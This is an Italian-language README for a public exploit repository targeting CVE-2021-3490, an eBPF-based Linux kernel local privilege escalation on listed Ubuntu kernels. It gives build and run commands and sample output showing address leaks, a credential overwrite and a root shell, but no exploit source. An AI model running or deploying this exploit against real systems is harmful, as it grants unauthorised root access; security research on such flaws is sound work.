chompie1337/linux_lpe_ebpf_cve-2021-3490Exploit di escalation dei privilegi locali del kernel Linux basato su eBPF che mira a CVE-2021-3490. Fornisce accesso a una shell di root sui kernel Ubuntu vulnerabili dalla versione 5.8.0-25 alla 5.11.0-16.
Exploit LPE per CVE-2021-3490. Testato su Ubuntu 20.04.02 e 20.10 (Groovy Gorilla) kernel 5.8.0-25.26 fino a 5.8.0-52.58. e Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17. La vulnerabilità è stata scoperta da Manfred Paul @_manfp e corretta in questo commit.
autore: @chompie1337
Solo a scopo educativo/di ricerca. Usa a tuo rischio.
Per compilare per Ubuntu 20.04.02 e Ubuntu 20.10 (Groovy Gorilla):
make groovy
Per compilare per Ubuntu 21.04 (Hirsute Hippo):
make hirsute
Per eseguire:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
Nota: Devi obbligatoriamente uscire pulitamente dalla shell di root digitando exit per eseguire la pulizia ed evitare un kernel panic.
Dai un'occhiata al writeup Kernel Pwning with eBPF: a Love Story.